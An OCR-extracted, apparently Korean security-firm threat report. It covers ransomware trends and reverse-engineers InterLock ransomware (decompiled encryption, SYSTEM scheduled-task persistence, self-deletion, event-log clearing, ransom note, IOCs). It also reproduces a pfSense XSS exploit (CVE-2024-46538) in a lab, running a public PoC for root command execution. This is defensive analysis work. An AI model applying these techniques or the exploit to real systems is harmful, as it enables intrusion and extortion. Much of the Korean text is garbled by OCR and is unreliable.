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Keep up with Ransomware
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() 3% 85 MO0 7|E mshxt A X AT TSR 202 HA|

() 244 48 5% 2, Notion0| L|SjXE Y=
(Q 28 A% 2200 Notion HOIX| 4H X BEE SEMoLt 1080 I3 RE MOIE R AHE

(Q A7 WAk OFF] A A EIX| 2ton], 7| = TSRS A H Al

) - Parano Ransomware V1, 22| 1240l M =HO| S

(Q B 93 713 24 ws) 7140l HEHH, 400 Ha(RHS} o 552 2)0) T

uid

() g=ol MMgof Lozt Zajs| MM s, BB, A5 HTX, ASW XY F4 5 WH s

4 B> Dragon Team, #4%I0| 7§t X Raas X2 01

108 T8 1802, YA RS SHOIX WX, GO 23, BYRUO 32 5

(1 Dragon Ransomware® A{8310f, 0|2 7|8to 2 Raas KB 202 o2

a3 1. A TF
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infosec

New ransomware variant
o RansomHub 84
Makop : .defi1328, FIOI

Medusalocker : spider1, .rootd, .destroy30
o>

Chaos : NK
e Sarcoma 41 Dharma : Ztax
Hm New ransomware & group

om HellCat, Nitrogen, Sarcoma, InterLock, Bashe, PlayBoy, Dragon

«ie
tt i g
-— —
'y Py L'.‘1
D - O
OIS 60 (2 ) ca 35
O O
° M| A 53 o UK 21

)

a7 2.20243 10€ Ao 9F 3

SEXRCE

10 gell= 7)Edd &8t 159 grdd 2 &5 A 2ol thg Rl Ad
543 Apos Security ZIi52 Notion Ho|AE Fal ISIAE AAS olg€lS 7HA3 A+

), g5 dFd v AXNSS A H AXES 7AE v Uk olF 10 € 9=
35 AllEE AR MAE 7E JsiAtet A4 1 1S F7F AAE AR APT73
O88 8¢9 299 o]F %S Fudl H 10¥€e] Bashe 2 1E8WS WA ow A gaiAt
20 A d==3st AR}, o] 9o %= Nitrogen “Li5 11 A, Sarcoma L% 41 7, InterLock
1% 67, HellCat 1% 1%, PlayBoy 15 1 A& AASE 5 4l dddol 159 &5=
=7kt

4
o

e

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

On [22/18/2824], HELLCAT was just an idea. Only two days later, we launched our first attack quick, right?

Now, were taking the HELLCAT servers offline for a few days to get ready for whats next. Weve got targets, and were making sure everythings in place.

Wait for us ... #HELLCAT.

1HUEARYKABBWIQQGAXgbIUULIARKM/ /SHZNXVIMA/ gQUCZ A2 wAKCRAHZ NxVIMg [
BUSSAQCACWLTBENnjdmzdg/ hEBWDINCYBIHLVGILk2ZIRGIIIKQD+HKKQFELhPOI+Y
11iWVwB9RH2VSB31bjelt s6limoghdAd=

=1fkz

2% 3. HellCat &XAMg}
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Apo] o]

Latest Posts

Companies that fai

Source Code Sale

Available in: 1d Th 56m 43s

Closure

ure

Available in: 0d 15h 56m 43s

3% 4. PlayBoy &3 9 #% Alo]E

o] /\ﬂ.oﬂ

A

Y7 Knesset HEA 45GB Jbere g3 27k 20 U 2l (oF 2 9 8,000 B 9)
QT Al AANEL oF 3 Y gro] A, TS FE712] AWE v @43 8 5 oS
a0 AEstd HAATE AE Hle ¢ 55 E5S Bt

A, 5 ol W) BF S T3 aF%E o 10 € 28 A 5338 PlayBoy I1EF2
A FEIdias FAd 2,800 v &E (¢F 386 ¢ HE L7 shANE AA
g3 AZ dlold, deolee T, dHolHe A7) T2 ZAEA UA @A o]F olE
gholl A Ee AOlE HAE dasiyy AxzEe tad §F AIE, #E dds
¥ 2E Azt du) ZS AAGT 31 4 o)FRE thAs] £ AlolEd A& F
R A
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DeepWing

4 Parano RansomwareV1 4

§ The New ransomware has been developed with a completely

unique algorithm

DRAGON RANSOMWARE

-
o Features:

Developed with C/C++.
* Fully Undetectable (FUD) All Antivirus
' No stub is required for decryption,
7 You keep each stub's decryption key as your mind and manage

(M Scon: Dragon Ransomware Raas Platform Launchyv

Service (Raas ere in full control

~ No need for internet or network connection. T
operations through an easy-to-use platform. &

£ Features Anti Virtual Machine, Anti Debugging, and Anti
Sandbox capabilities. -
. site to manage
Uses AES-128 and RSA-4096 encryption algorithm. Each " _
encrypted file's AES encryption key is randomly generated,

; = combines cutting-edge encryption with real-time control for
stored and encrypted with RSA encryption key. You should

seamless deployment.

& Unmatched Power, Total Privacy: Leveraging industry-leading
security, Dragon Ransomware ensures all operations are protected

Price : 400% Per Stub

% contact

el 7]
-8
3
°o]-&3
G H
Al
gl

and private.

15

a9 5. 4@ A A o(F: Parano Ransomware V1, $: Dragon Ransomware)

RS 283 @] AR AEHeg gld. 10 € 19 Y Z4F 94 gy 7ol
¥ Parano #AOlE 400 @& (eF 55 7 Dol #Aujst= Fo] o Ao == T}
g 2o A 538k Al Dragon @49l 5ol 4T AAlEY Al E
I A% 7 @3 dolgs dd oA duf FAd, Htodle= AW E AHl~

|53l= Dragon RaaS & Z7lgth obx] @Addolwt Jidte GAZ AMH| A&
A= F AR, 5 Aol et #e HolA A £ RaaS MM AE A Aolgtar

.

o
2
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Top5 WA o

infosec

E

l=e

=
Etzl 27}
%

N - N -

50 23%
Sarcoma KillSec m
£ ysoF P oukgs o nNdERs € AR oEdoEE
G) casiut & INQE 4P SEAYE  E (L oj22tY

@ sz () rRzZI2 D Es 2@

o 6. AA/=7PE Fo A 34 EF%

RansomHub & 10 €elvt 84 71¢] FsixtE AAehY @A 15o=2 2w ok

HL WA FH dF 9o F3S 7H=3sFE Grupo Aeroportuario del Centro Norte(OMA)E

FA8 3|A @ FA 2w, 34 Ui AR, A4 S E vEH S glojE o] 5 3TB o
o]

date dolHE B Al oWl A2 OMA 7} #Eshs 3¢ AlaE vz
dall TF 2] FgotA] B 5 Gl T Aol Az

Play Z&< v=9 Fdiyg Au]2~ HA OzarksGo & 248 Au|2E mpn|AI7l 5 7)<l
AR, 71 A, 2 FA4, oA BR, go 2 AN E3E dolHE g3 o=
A3 OzarksGO & o] &3ts LAEL 10¥ 74HYH TV AHAE d&etA o] &34 Kl
ATE 719 T4 Aol mEW AH| A Felle FVIRE AESE gAFHSE, TV AHA 85
WA, 71 TV AH2E 2EgW TV AH22 75 d38 59 %

A 9o] FAHS R Qg Au|2 Foljof oo mE & A= AFE A4S i Ak

Sarcoma 1&< 10 Qo A2 T3 JFo=2 3 G vk 41 Ao I&xE AAEL 714
2 A A B AlFstE A Ferrer&Ojeda & #2430 AA, 2AY /i AR, FQ
DB X7} ¥x3E 1.27TB A7]9 dlolgE @33 /3o
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KillSec 23 10 €elrt vaizE 320 A A=d & OIEH 7 B iRt o =3

Mdst =L tag] 5 Aol E KillSecurity 30 S /A A 10 el =
l‘%%ﬁ‘_ A2 dely &S 48 AR, Xﬂdz‘ﬂ/ﬂ AR 55T T HolHE
238

Meow L& o]xztd ®eE 3]AF¢l Modiin Ezrachi & ¥A3c. a9 719 ol~84d
AEA Y QzhEe] Bl gl AY] AMu|A2F Algstal, o|~ghd FRe; Aloks Wo wS 7|
2 AR AAS HEske JEEYE olygt At A Fe] Fa HAEAE 95k 7IYgelth
Meow 1< Moddin Ezrachi 9] 2 AR, G5 AlekA, Hol sfjxe} & 486GB 9] W7sh
HolH & &3 3t
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Cathexis Holdings LP

Data Size: 3.8Tb

Wayne County

Data Size: 7.7TB

3% 7. InterLock B39 & Alo|E

InterLock 1H2 A 10 € 9 & A2 A ot &4 DA g3 {5 Alo|Ed &=
%EQIﬁwv}ﬂﬂlﬂf%%ﬁﬂﬁﬂ%@wonwiﬁﬂﬂ AlAEE7] Al #gie), o] 52

T4 °olF JJro‘ Tkl & oy e WAE fdl F 4 Lo AE Ay Azt
H%Oﬂ Hlg< AEstd Hastel oA 233 dHolHE JJr7lo}Xl“J, d 717kl A

“01 ?ﬂltﬂi ofFof A x| ko EHod 7S v F HelHE dvistAY Fgva

3% 8. InterLock T34 J4 #Ho|X

InterLock 18& WAXNEEE E3 Jalx7t Ay #HolAo] HZT & A== FE3)
Holx FAe HE WS Ade H Ad=Ed A" ID ¢ AR olWld FAE
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ot

!

el 3Ast

arams(argc, argv):
if ( systembrg )
return addScheduledTask(argc, argv);

initRand();
'H

jEvtClearLog();

ThreadInit();

if { pathFile )
threadstart(&pathFile);

if ( pathDir )
loopdir(&pathDir);

if ( !pathDir && !pathFile )
allloop();

sleep(1);

waitThread();

threadFree();

sleep(2);

if ( delArg )
deleteme();

recurn @;

initRand();

params{argc, argv);

threadInit();

if ( pathFile )
threadStart(&pathFile);

if ( pathDir )
loopdir (&pathDir);

if ( !pathDir &% !pathFile )
allloop();

sleep(lu);

waitThread();

threadFree()};

sleep(2u);

if ( (del & 1) =@ )
removeme (*argv);

return @;

1% 9. InterLock @A Z=

H 2 (F: Windows, $: Linux)

InterLock #WAd o= Windows WA} Linux H Aol EAst}t. F+ HAL AAE &Qlsla
e~ =g 7Rtes 3dS dsstele FioAe A sdstA stk o, 0S
ztole] wE AR HEEoly I, del fEyHE %W fdel= Abol7b vk o]ffd=
Windows ®dol= oS A A= 55k, 3 ¢Est o]F oWlE =&
AAstE AAH VAo EE Aol EAg. weba, oWl BIuAoA = T HH 7He
AP 2fol S A ete] 7 G AA N e F2F HAS GAEA oA gk
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Interlock Ransomware

infosec

=z 7

oo By

[ECE oY ¥53E

AES ¥112 OS2 7Iet IvVE ES

L AES

ik

File Size

1MB 37|82 E5 HH =5t

A otee || wmaxt || Y anze)s=
=
| =¥
) C
AES&RSA 255} HE| A E O[HIE =7 AH|
-
I L_README_! tx1 - Windows B2H
D% BEE MU0 27V EERH)
INTERLOCK - CRITICAL SECURITY ALERT
To Whom It May Concern,
Your organization has experienced a serious security breach. Immediate action is required to mitigate further risks.
THE CURRENT SITUATION
- Your systems have been infiltrated by unauthorized entities,
Eﬁgj;g - Key files have been encrypted and are now inaccessible to you.

- Sensitive data has been extracted and is in our possession.

WHAT YOU NEED TO DO NOW
1. Contact us via our secure, anonymous platform listed below.
2. Follow all instructions to recover your encrypted data.

[Access Point: http: g’,febhmkoohcci-dSqesdbqutyrthmhkthvkﬂymﬂlm%x?ana\d omcn}supportfstep php
Use your unique Company ID: 1 1 55 e 1 o 2 L AT S e v

DO NOT ATTEMPT:
- File alterations: Renaming, moving, or tampering with files will lead to irreversible damage.
- Third-party software: Using any recovery tools will corrupt the encryption keys, making recovery impossible.
- Reboots or shutdowns: System restarts may cause key damage. Proceed at your own risk.

|_README_L.txt

.interlock

C/C++

28 10. InterLock @A ge] 7j8
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InterLock #WAd <)o

2
&

infosec

Discovery

APZQ Z2MA HO

Defense Evasion 27 caloj2 e ol

T1057
T1082

Windows O[HIE 27 AMH|
L0 Xi7h AHH|
QAYH 2 I A

N—

Privilege Escalation

T1140
T1070

Execution =Y AHFEZE 5% System HE 25

T1053

T1059

T1129

T1486
1=
[
o2
ot
B

Linux W2 #Addol= vtz A3 2QxE l3sti= ¥hH, Windows WS A3 7153t
i Ze2 E33 F A&sts 35 9jx] 7PHS AFESt o] wef dE FEE R etE
HA o] aH o2 P

rerce

o Hex ASCIT
D000000140001000|C3 66 66 2E|OF 1F 84 00|00 00 0O OO|OF 1F 40 Aff...........@.
0000000140001010| 48 83 EC 28|48 8B 05 75|AB 03 00 31[C9 C7 00
0000000140001020( 00 00 00 48|8B 05 76 AB|03 00 C7 00|01 00 OO
D000000140001030( 48 88 05 79|A8 03 00 C7|00 01 00 00|00 43 88
0000000140001040 | EC A7 03 00|66 81 38 4D|5A 75 OF 48(63 50 3C 48|3§..F.8MZu.HcP<H
0000000140001050| 01 DO 81 38|50 45 00 00|74 &6 48 88|05 1F As 03].P. EPE..tfH... ;
0000000140001060| 00 89 0D B9|1F 04 00 BB|00 85 CO 74[43 B9 02
0000000140001070| 00 00 ES 41|F4 02 00 ES|D4 ED 02 00|48 8B 15
0000000140001080| A8 03 00 BB|12 89 10 E8|D4 ED 02 00|48 8B 15
0000000140001090 (A8 03 00 BB|12 8% 10 E8|94 85 02 00|45 8B 05
00000001400010A0|A7 03 00 B83(38 01 74 50|31 cO 48 83|cs 23 C3 .8, tPIAN.A(
D0000001400010B0( B9 01 00 00|00 EB FE F3|02 00 EB BB|OF 1F 40 ..ehG. . Es..8.
00000001400010C0| OF BY 50 18|66 81 FA OB|01 74 45 &6|81 FA 0B 02|..P.f.0..tEf.

00000001400010D0| 75 88 83 B8 |84 00 M) 0O|0OE OF B&6 TB|FF FF FF T yyy
00000001 400010E0| 90 F8 00 00|00 31 C9 85|D2 OF 95 CI|E9 69 FF o AE DL Ae1yy
e Hex ASCII
0000000140001000| 48 81 3D 37|Cl 13 00 E5|1C 00 OO0 OF|85 DO AB O 7 Y — T
00000001 40001010 | 00 41 57 57 (41 56 41 54|55 45 B9 E5 |48 81 EC CAWWAVATUH. &H. 10
0000000140001020 | 00 00 O 48|89 7D ED 89|45 BE 48 89|4D F7 03 4D ...H.}i.EKH.M+.M
0Q00000140001030 | BD OF BE DL (4C 3B 15 64|30 11 00 OF |82 ED OO0 OO %.ﬂRL
0000000140001040 | 00 4C BB A5 (67 FF FF FF|48 83 0D 10|87 11 00 4C|.L.¥ H
0000000140001050| 89 0D B84 37 (11 00 4C 39|CF OF B9 AD |00 00 DO 4C(...7..L9I
0000000140001060 | 8B 35 6F 15|11 0D 4C 8D|7D 9A 49 B89|F8 89 3D 41|.50...L.}.I.
0000000140001070|9F 11 OO0 B89 (DO 45 89 55|B9 839 95 41|FF FF FF 49 ~BH. U

0000000140001080 | C7 €2 BF 72|00 00 88 AD |79 FF FF FF|4C 89 90 3F Cﬁ¢r....¥?§y
0000000140001090| FF FF FF 48|31 CF 4D B9|FB 4C 8B 7D|F1l 45 C7 CO| ¥yWHIIM. uL }HFCA
000000014000104A0 | 10 &4 00 OO |8B 4D B85 8D|3D 41 08 11|00 OF Be M

Q0000001 400010B0 | 48 F7 C2 BA|le F& 8D 74|16 8B 95 14|FF FF FF
00000001400010C0 | 8B B5S 1C FF|FF FF 81 C9|FB D4 00 00|48 23 DO
0000000140001000 | C8 BB 85 43 |FF FF FF 4C|BE BS 52 FF|FF FF 29
Q000000 400010EQ| 77 FF FF FFI0OB 8D 64 FFIFF FF BB 95|1E FF FF

a9 12. 2= YA AF d=2g Huc: Z= HA] A, 3 2= P F)

AYr= Z=7 AFE JGoA] T3 BES Qe 2= Hx o]F AAE HolH,
= 37 AAE AL 318 = 9l Windows WA 9 InterLock @A o]l WAl &
Het 2o gEx]xx] 7] 98 WAt HdaEw Add vheet Y =2 E4%
H Ak 7S AREgho
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off

Ao S o7 g
dejet st
2 AFE, “=s" Q1A
= SIS Linux HAS SRR @ W 7)ol Frhw A
AAHA T, Windows WA 2AZdel A9} E S=al /5ol Frad. 2t A3

ARkt 75 obef Fek Aot

Windows W% Linux WA 420w A s 1d 7 54
L

A4 F wAd BEF Flst © vl FF=2 s A4d

o

elx} EE
--directory [target] X Hst Cl2lE 2|0t As3)
--file [target] X st oot At
--delete ot ¢35 0| AFI7F AMK|
--system Il A EY S5 U HPH 45 (Windows)

¥ 1 49 9#

Windows MH& F 4 7l A =AY WHAE AHEgH. ¢4 #AdS 587 99
71 EAlEkE As AtAlska, dAddlo] A& WEololA —-system UAE A AT
JAAHE AAT WHolE md 20 Aol System Ao = APt s A4S 55 thy T
S SA A FH AAET. ZA) 2Asde BE ASAE gEyY A des flE
AF4-E =4, InterLock @A ¢lo]e] 2% System PO 2] A & 2] S ulz A4 E7]
el Ag dss fldl AFEE Ao GlEnh. AFE Sk WEojer A of Eeof

[o):]

ol gy
[e;]
=]

schtasks /delete /tn TaskSystem /f > nul 7|1E

schtasks /create /sc DAILY /tn "TaskSystem" /tr "cmd /C cd {path} &&

HEAO 2 SF (System #HPh
{execute_command}" /st 20:00 /ru system > nul

schtasks /run /tn TaskSystem > nul TaskSystem =& 1%l
schtasks /delete /tn TaskSystem /f > nul TaskSystem =t AtH|

E 2. Fd 2A=9 HHo
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o 2e gEet Axpel wep dwst gids AAS FH HEsgs=E vNieR 3ds
dzspeitt. 7 oA BF -file IS ARESHAE W ARt dsstE st
directory Q1A AH&SHH i@ HEH et 1 gkeled EAlste BRE BdS st
AA B ARREA] koS W= A9 dEEERE BT dsstE sk, Windows

HAe C Setolne Habsl TlHEHeYE hEHEa Linux MAS FE CAEHRY

if ( pathFile ) if ( pathFile )

threadStart(&pathFile); // ecrypt target file threadStart(&pathFile); // crypt target file
if ( pathDir } if ( pathDir )

loopdir(&pathDir); // crypt target dir loopdir(&pathDir); // loop target dir
if { !pathDir && !pathFile ) if ( !pathDir && !pathFile

allloop(); /7 loop "C:/° allLoop(); // loop root('/") dir

O 13, A3 AR WE I35 3 g AA(EF: Windows, $- Linux)

-—directory S1AE AlgsiA EA UHEEHYE 4353 AY --directory AR} —-file
AALE BT AFEshA] ol 49 vy FE dEsste A5, ddged EAeks 2e
g 9 gdgyE FEst. gddd Ae dEst zEHsEE 3Ed dEstE A,
gaggd 45 dH=EE AP 1 gayHy UFEE AAY oz g4

if ( (buf.st_ino & @xFe@e) == ex4e88 )} // check directory

if ( ent ,[8] == "." && lentry[9]
|| entry[8] == "." && entry[9] == '." && lentry[10]// pass ".", ".." dir
| (checkExceptDir((ent’y +8)) & 1) !=0 )// pass exceptDir

file[buf._ unused[®]] =
}

else

v2 = strlen{entry + 8);

buf._ unused[8] += (v2 + 1);

++buf._ unused[1];

*(buf._ unused[2] + 4 * buf._ unused[1])} = v2;

vl = opendir(file); // recursive opendir

a¥ 14. 9982 A5 R AAF 24

BE UEYE BAsE A o, de) ddues dssE dasd e vy
solgl orast dle] TleE i ofY we} k.

(A 20), (4% Z0), $Recyble.Bin, Boot, Documents

and Settings, PerfLogs, ProgramData, Recovery, System (X Z4), (&2 E0), bin, boot, cdrom, dey, etc,

Volume Information, Windows, AppData, WindowsApps, ~ home, lib, lib32, lib64, libx32, lost+found, media, mnt,
Windows Defender, WindowsPowerShell, Windows opt, prog, run, root, sbin, snap, srv, sys, tmp, usr, var

Defender Advanced Threat Protection

% 3. ¢33 49 fgHgy
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4 Aol WA A9, AT BAL FEHe] Aol WEe] ole] frEs
Mo GEs o¥F AU MAW g de) e % HPAe ofd E 2k

|_README__l.txt, .bat, .bin, .cab,
.cmd, .com, .cur, .diagcab, .diagcfg, .diagpkg, |_README__!.txt, . boot.cfg, .sf, .b00,
.dry, .hlp, .hta, .ico, .msi, .ocx, .psm1,.scr, v00, .v01, .v02, .v03, .v04, .v05, .v06, .v07, t00
.sys, .ini, .url, .dll, .exe, .ps1

E 4. 433 49 3d 2 3R

¢4 Aol interlock SFFATE EAsh=A Fle] et o RS wetetal, o st A
ore selolw sholgel Linterlock YA FAFUTE A28 AZES VMo AR AES
19 2r1a MAGDT WY oA AT ABS 19 1V LAY st A,
st=sYgE RSA S/0715 ol &al daste & i gdo) W & l A7 gy
if ( lcheckFileExt(target file, ".interlock") )

streat(strepy(encrypted fileName, target file), *.interlock");

if ( !rename(target_file, encrypted_fileName) )

Stream = fopen(encrypted fileName, "rb+"};

if { Stream }

file_size = fsize(Stream);
key_len = 48;

key IV = malloc(6x48u164),
generatekey(\e - IV, file size, key | _en) // generate random key(32Bytes) & IV(16Bytes)
file_size = addPaddlnngle(S-'ea1, file size};

*&ElementCount[1] = malloc(@x500ui6s);

*&ElementCount[1] = rsaCrypt(key_IV, key_

a9 15, ¢33 A% &9 R 4538 7] A4

len, *&ElementCount[1], ElementCount);// encrypt aes key & IV via RSA

gtel o} Fslo]= AES ouglZS ARy WA 7|9 IV 2 C
AYdor. g dash= IMB 2719 &5 9= JdsH, dd dAE d3std

vs = find_cipher("aes"};
if ( cbc_start(v5, a3, a2, 32, @, vI} }

free(Block});
free{va);
free(Buffer);

else

while ( v17 > @ )

> ElementCount )

6 = ElementCount;

v8 = fread(Block, luisd, w6, al);

if { cbc_setiw{a3, @x10uisd) || cbc_encrypt(Block, Buffer, w8, w9} )
break;

adjustFilePosition(al, -v8, 1);

fwrite(Buffer, luit4, vB, al);

a9 16. 49 433
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_/":?‘SB 8H 7&[% X]—r‘]jl' LanX
, Windows 7]

-—del A& AREATH 9t dEErt 2 FH O AE AAE
HHAS 54 ARE 2+ ﬂ?'f + rmdir §HAE &8 WA E AL
A5 W] FYS AASHE DLL 3dS A 5, o5 &85 A7t AHAE s,

if ( lGetModuleFileNameA(@i64, ransomware, @x104u) )
return @i6d;
rand_num = rand();
tmp_path = getenv(™tmp"”);
formatStrlngQ(;_" le e, "%s/tmp¥%d.wasd”, tmp_path, rand_num};
Stream = fopen(self_deletefile, "wb™)}; // create "¥tmpX/tmp{rand_num}.wasd”
if [ ":'ea“ }
return @i6d4;
fwrite(&data, lui64, @xABBUi64, Stream);
fclose{Stream);
formatstring2(v4, "rundll32.exe ®s,run %s”, self deletefile, ransomware};
return create_process{v4);
a9 17. A7t 2kA-§ DLL A4 (Windows)
DLL dd& @Addlofel st=mdd ez AFseo] gley, of& Al &9 AZIdd
XV{]'L DLL 392 remove API & o] &3] A= Add AR HdS 2HAstE 7|5 1o]
el g mhdolth Windows M2 sld DLL 3+d& <83 WA dolE 2AHA St
int _ fastcall run(_ int64 al, _ inte4 a2, const char *a3)
{
return remove(a3);
}
19 18, tmp.wasd 7]%F
o]9lo %= Windows WHel& oMIE 2I1& ”Xﬂﬁ}k— 7]%50] EAgtk. AP & 2-&3
Application, Security, System, Forwarded Events 7} & 4 79| &S 5 2HA| g},

EvtClearLog(@ic4,
EvtClearLog(@icd,
(

EvtClearlLog(@ic4,
EvtClearLog(@isd,
return EvtClearLog(eie4,

||\.

Application™, @ic4, @);

L"Secu ity", @ie4, @);

"5, @i6d, 8);

fystem, @isd, @);

L"Forwarded Events”, @ied, 8);

Y 19. o|HE Z 2HA
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InterLock #Ad9lo] of-g-xket

infosec

Discovery

Defense Evasion

o= 218 WA NYL0| X
ATO| U TRIXA OME 2IE HHY + ASF LF

T1140
T1070 |

4

HY AHSH2 4Y Ase AP ATOR 33

Exsetion Agto| Pl DERe O E B HHES HE

EDR £2MS S8 o By X

EGER
[Tiow |
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l—“ Indicator Of Compromise n—l

&

InterLock(Windows)

a26f0a2da63a838161a7d335aaab5e4b314a232acc15dcabdb6f6dbec63cdab4?2
InterLock(Linux)

e86bb8361¢c436be94b0901e5b39db9b6666134f23cce1e5581421c2981405cb1
28¢3¢50d115d2b8ffc7ba0a8de9572fbe307907aaae3a486aabd8c0266e9426f

File Name(Windows)

FﬂMatrix_e(]_in“x)

Start
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m X7 AMO|E

» BleepingComputer &2 &#o]#] (https://www.bleepingcomputer.com/news/security/massive-
psaux-ransomware—attack—targets—22-000-cyberpanel-instances/)

* SOCRadar &2 &4 9] (https://socradar.io/over—-22000-cyberpanel-servers—at-risk—from-
critical-vulnerabilities—exploitation-by-psaux-ransomware/)

» GitHub (https://gist.github.com/gboddin/d78823245b518edd54bfc2301c5f8882)
* NIST FHeoFd de]lgwo] 2 (https://nvd.nist.gov/vuln/detail/CVE-2024-51378)

» BleepingComputer 32 &do]A] (https://www.bleepingcomputer.com/news/security/north—
korean—govt—hackers-linked-to-play-ransomware—-attack/)

e OzarksGo &2 &# oA (https://www.ozarksgo.net/tv-outage—update)

e Unit42 &2 21 (https://unit42.paloaltonetworks.com/north-korean—-threat—group-play-—
ransomware/)
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Research & Technique
pfSense XSS F 23 (CVE-2024-46538)
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29 1. pfSense A& EA

2024 d 10 ¥ 22 4, pfSense 9] XSS(Cross-Site Scripting) F 28 (CVE-2024-46538)9]
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m 3 g Amegof A

CVE-2024-46538 ol FoFst A EQo] W th&3
| S/W & ot HH
pfSense v2.5.2

B EAE 37 24 HE

HAE 37S F1%35lo] CVE-2024-46538 ¢ =2+ o4& Ay},

o8 e
TSR pfSense v2.5.2
(192.168.102.52)
Kali Linux
S4%t
(192.168.216.131)

B A gHAE
Step 1. &4 T4

J 3} & PC o pfSense v2.5.2 o|u|X]& AX|3tt}. CVE-2024-46538 FHFd Hl
A3k Hefsk 3 H T A FF L ofd) EQSTLab GitHub Repository ol A &1

% lm

URL: https://github.com/EQSTLab/CVE-2024-46538

Rk A &o] Ao R HA fheud, ofd WEojR2 WEks AAS sl

> pfctl —d

obg) Wedo] % H okt pfSense v2.5.2 #74o] AAHow AW AL Al v,

> cat /etc/version

F okgk pfSense v2.5.2 7} A A H A5 oo} o] T 4= gk
[2.5.2-RELEASE] [root@pfSenze.skshieldus.coml root: [cat Aetc/verzion

.5 .2-RELEASE

298 3. F o3 pfSense 374 el
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Step 2. FFH HXEE
CVE-2024-46538 #oFd HZAEE 93t PoC 7} A#¥ EQSTLab ¢ GitHub Repository

Fat oo g,
URL: https://github.com/EQSTLab/CVE-2024-46538

FAA PC oA git clone HWHEHAE ALg&3le] CVE-2024-46538 A*4A9 PoC =
ez e,

Jhome/kali

: clone https://eithu

Cloning into "CVE-2 553
remote:

b.com/EQSTLab/CVE-2024-46538.g1t

3 F\

remote:

remote:
remote:
EI
R

a9 4. CVE-2024-46538 PoC T2 2Z&

gzt w2 PoC 32> CVE-2024-46538.py = Adgst = glom FZAX PC oA
53 Ho]==7) Ja#}e] pfSense oA A YT},
| $ python3 CVE-2024-46538.py -u [pfSense F2] —i [pfSense ID] —p [pfSense THAIE] —c [MWE HHOY) \

A #4e ok WAel piSense & AMEdE A (httpsi//192.168.102.52)7F 1% H o]
glom, g AR 9ol tester(ID)/1g2w3edr!@(password) AR Bk &A1k}, tester
om g

A
2 SY Auzel AzY BHe] “idE AR H, o]F FUsh: oFelF XSS
Yo et g

.py —u 192.168.102.52 —i tester —-p 1gq2w3edr!@ -c id ‘

.
o
<

—

5

(o]

5

fvs)

(@)

<
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o
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A
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(9]

v

% | ol

g PoC A3 AWMEE ofefjo} o] FA A PC oA e,

1 1g2w3esrh, |

3% 5. PoC A3 AWUZ oA
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o] % #E|AH(admin) Al .= interfaces_groups.php & et Th&2 #Zo] “id> H#E A3

Ao
A3t EHHE AL HAT 5 9

Cc O N kps://192.168.102.52/interfaces_groups.php Y & Incognito  Relaunch to update }

flisense 192.168.102.52 says

COMMUNITY EDITION

uid=0(root) gid=0(wheel) groups=0(wheel)-s——

Interfaces / |

Interface Assignments = oo g “GIFs  Bridges

LAGGs

Name Members Description Actions

Mendoza wan EQST_Lab_Pfsense_test _-?‘ ﬁﬁ

== Add
ag 6. 9] BY 49 A3 4

B o A E4
Aok A LAGIAE CVE-2024-46538 Aokglo] MAs: A9 2 9o ¥y HYiA
Fokd AAE A o2 AWt Step 1 olA= XSS FHepd A o] +E& AW Step
2 oA = XSS ©]% CSRF ¢ #eja &% 7lss AAste] ¢ WHE Hdo] 7hs3d olf&
g gt

Step 1. pfSense XSS F %A (CVE-2024-46538)
1) XSS(Cross-Site Scripting) 3 <%4

XSS(Cross-Site Scripting) FFd FAA7E YdEHs 2T HEE ALEA S =
FHeFdo®, AREA J™ Fholl ok HFo] mFsiAY == Al EHE HA ZFs AT
AR F7) gk e Ad 5 AR AR EH, 94 A

A5 A4 Hal g ok

s
[
2
r
Jo
o
ofrt
~
oo
_>|~_1,
o

2) AY AH &
pfSense W XSS FFd-S members WSl thak ¢}
=
[e)

[¢}
WAl g T} interfaces_groups_edit.php = 3] AE FF 2 config.lib.inc,
interfaces_groups.php & AX& &< HE =8 & ASol §lo IsAtelAl ad=

=y
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infose(

27 72 4l
—
SAR QIE{Ho|A I8 52 XML DH R4 QIE{H0|A OE K &Y ezt
interfaces_groups_edit.php config.lib.inc interfaces_groups.php

a9 7. A AH ¥4 2=

(1) /usr/local/www/interfaces_groups_edit.php
g A=FQIECAM= POST f3¥o= AREA ¥ @& weth 9714 members
gt H = dolH7E & Al ZE Ul members Wol Y arra °] W4~E implode
s Sl str o W 7 49 s AgST HE dE" 3AHE FAEH A
%t
if (isset($ _POST[ 'members'])) {

$members = implode(” ", % POST[ 'members']);
»else |

Smembers = "7}

% 8. members W& AMER 4 @ A

members W+ ifgroupentry W59 ‘members’ 7|9 G5t o =E A AFH

-

if (!$input_errors) {
$ifgroupentry = array();
[$ifgroupentry[ 'members’] = $members;|
$ifgroupentry['descr’'] = $ POST[ "descr’'];

a9 9. ifgroupentry ¥4 members ¥ F A%

o] % a_ifgroups ° AFE ifgroupentry W #h& A5, A4 #S config.xml Ho|H=Z
] #}Eh= write_config & A 3§ 3t}
/{ Create new group

} else {

$ifgroupentry[ 'ifname’'] = $ POST['ifname'];
$a_ifgroups[] = $ifgroupentry;

A
}
write config(“Interface Group added");
interface_group_setup($ifgroupentry);

header("Location: interfaces_groups.php");
exit:

29 10, a_ifgroups WS4 ifgroupentry & A& ¥ config & A%
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oluj a_ifgroups W configl'ifgroups’][‘ifgroupentry’1¢] = wksk 13 o)t} a_ifgroups
o] WA Abgto] 1o, configlifgroups’][‘ifgroupentry’] #t%= g7 WAHAG. =
s e W Yol 2o Aol Thesith A, a_ifgroups o @ A
config[‘ifgroups’][‘ifgroupentry’] a3 &< 3}c}.

init_config arr(array('ifgroups’, 'ifgroupentry’));
$a_ifgroups = &%config| 'ifgroups’'][ 'ifgroupentry’];
$id = $_REQUEST[ id |;

13 11. config AFE FZFFQ a_ifgroups ¥F

(2) /etc/inc/config.lib.inc

config.lib.inc & AA S #YdE IdFEZEZ FAAEHO U} write_config S A ~H

AR 2k AZAstE 98-S sl 94, $config ¥4 7F dump_xml_config &5E 23] XMLM

YA o= AQFdE

/* generate configuration XML */

$xmlconfig = dump xml config(%$config, $g[ xml_rootobj’']);
— o9 l2.XML 9402 w8

config ol &¥ ko] th&3} o] XML 122 ATAEE AL g = Q).
__c5rf_magic:sid%3ﬁb?43c¢fcdh2141b93d16da9B69B8ec2d3b?dc84@%2(1?3@?936?B&ifname:dddd&de5cr=asd&hembers%SB%SD:EQSTtestﬂ

{::} & = | search

Fsponse

rethy Raw Hex Render

<members>
wan
</membersy
<descr>
<I[CDATA[asd]]>
<fdescr>
<ifname>
asdddd
</ifname>
</ifgroupentry>
<ifgroupentry>
<members>

¢/members>

3% 13. XML 4oz 749 43

